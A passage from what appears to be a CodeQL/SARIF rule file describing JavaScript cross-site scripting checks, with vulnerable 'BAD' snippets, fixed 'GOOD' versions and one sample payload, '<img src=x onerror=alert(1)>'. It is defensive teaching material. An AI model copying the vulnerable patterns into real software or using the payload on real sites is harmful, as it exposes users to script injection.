[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n"},"properties":{"tags":["security","external/cwe/cwe-754"],"description":"Calling a method with a user-controlled name may dispatch to\n              an unexpected target, which could cause an exception.","id":"js/unvalidated-dynamic-method-call","kind":"path-problem","name":"Unvalidated dynamic method call","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/xss-through-dom","name":"js/xss-through-dom","shortDescription":{"text":"DOM text reinterpreted as HTML"},"fullDescription":{"text":"Reinterpreting text from the DOM as HTML can lead to a cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n    var target = $(this).attr(\"data-target\");\n    $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n    var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n    var target = $(this).attr(\"data-target\");\n    $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n    var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Reinterpreting text from the DOM as HTML\n              can lead to a cross-site scripting vulnerability.","id":"js/xss-through-dom","kind":"path-problem","name":"DOM text reinterpreted as HTML","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/xss","name":"js/xss","shortDescription":{"text":"Client-side cross-site scripting"},"fullDescription":{"text":"Writing user input directly to the DOM allows for a cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Writing user input directly to the DOM allows for\n              a cross-site scripting vulnerability.","id":"js/xss","kind":"path-problem","name":"Client-side cross-site scripting","precision":"high","problem.severity":"error","security-severity":"7.8"}},{"id":"js/stored-xss","name":"js/stored-xss","shortDescription":{"text":"Stored cross-site scripting"},"fullDescription":{"text":"Using uncontrolled stored values in HTML allows for a stored cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Using uncontrolled stored values in HTML allows for\n              a stored cross-site scripting vulnerability.","id":"js/stored-xss","kind":"path-problem","name":"Stored cross-site scripting","precision":"high","problem.severity":"error","security-severity":"7.8"}},{"id":"js/unsafe-jquery-plugin","name":"js/unsafe-jquery-plugin","shortDescription":{"text":"Unsafe jQuery plugin"},"fullDescription":{"text":"A jQuery plugin that unintentionally constructs HTML from some of its options may be unsafe to use for clients."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unsafe jQuery plugin\nLibrary plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction.\n\n\n## Recommendation\nDocument all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector.\n\n\n```javascript\njQuery.fn.copyText = function(options) {\n\t// BAD may evaluate `options.sourceSelector` as HTML\n\tvar source = jQuery(options.sourceSelector),\n\t    text = source.text();\n\tjQuery(this).text(text);\n}\n\n```\nThis is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`.\n\nInstead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector:\n\n\n```javascript\njQuery.fn.copyText = function(options) {\n\t// GOOD may not evaluate `options.sourceSelector` as HTML\n\tvar source = jQuery.find(options.sourceSelector),\n\t    text = source.text();\n\tjQuery(this).text(text);\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/).\n* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Unsafe jQuery plugin\nLibrary plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction.\n\n\n## Recommendation\nDocument all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector.\n\n\n```javascript\njQuery.fn.copyText = function(options) {\n\t// BAD may evaluate `options.sourceSelector` as HTML\n\tvar source = jQuery(options.sourceSelector),\n\t    text = source.text();\n\tjQuery(this).text(text);\n}\n\n```\nThis is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`.\n\nInstead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector:\n\n\n```javascript\njQuery.fn.copyText = function(options) {\n\t// GOOD may not evaluate `options.sourceSelector` as HTML\n\tvar source = jQuery.find(options.sourceSelector),\n\t    text = source.text();\n\tjQuery(this).text(text);\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/).\n* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116","frameworks/jquery"],"description":"A jQuery plugin that unintentionally constructs HTML from some of its options may be unsafe to use for clients.","id":"js/unsafe-jquery-plugin","kind":"path-problem","name":"Unsafe jQuery plugin","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/html-constructed-from-input","name":"js/html-constructed-from-input","shortDescription":{"text":"Unsafe HTML constructed from library input"},"fullDescription":{"text":"Using externally controlled strings to construct HTML might allow a malicious user to perform a cross-site scripting attack."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Using externally controlled strings to construct HTML might allow a malicious\n              user to perform a cross-site scripting attack.","id":"js/html-constructed-from-input","kind":"path-problem","name":"Unsafe HTML constructed from library input","precision":"high","problem.severity":"error","security-severity":"6.1"}},{"id":"js/xss-through-exception","name":"js/xss-through-exception","shortDescription":{"text":"Exception text reinterpreted as HTML"},"fullDescription":{"text":"Reinterpreting text from an exception as HTML can lead to a cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Reinterpreting text from an exception as HTML\n              can lead to a cross-site scripting vulnerability.","id":"js/xss-through-exception","kind":"path-problem","name":"Exception text reinterpreted as HTML","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/reflected-xss","name":"js/reflected-xss","shortDescription":{"text":"Reflected cross-site scripting"},"fullDescription":{"text":"Writing user input directly to an HTTP response allows for a cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Reflected cross-site scripting\nDirectly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n  if (!isValidUserId(req.params.id))\n    // BAD: a request parameter is incorporated without validation into the response\n    res.send(\"Unknown user: \" + req.params.id);\n  else\n    // TODO: do something exciting\n    ;\n});\n\n```\nSanitizing the user-controlled data prevents the vulnerability:\n\n\n```javascript\nvar escape = require('escape-html');\n\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n  if (!isValidUserId(req.params.id))\n    // GOOD: request parameter is sanitized before incorporating it into the response\n    res.send(\"Unknown user: \" + escape(req.params.id));\n  else\n    // TODO: do something exciting\n    ;\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: 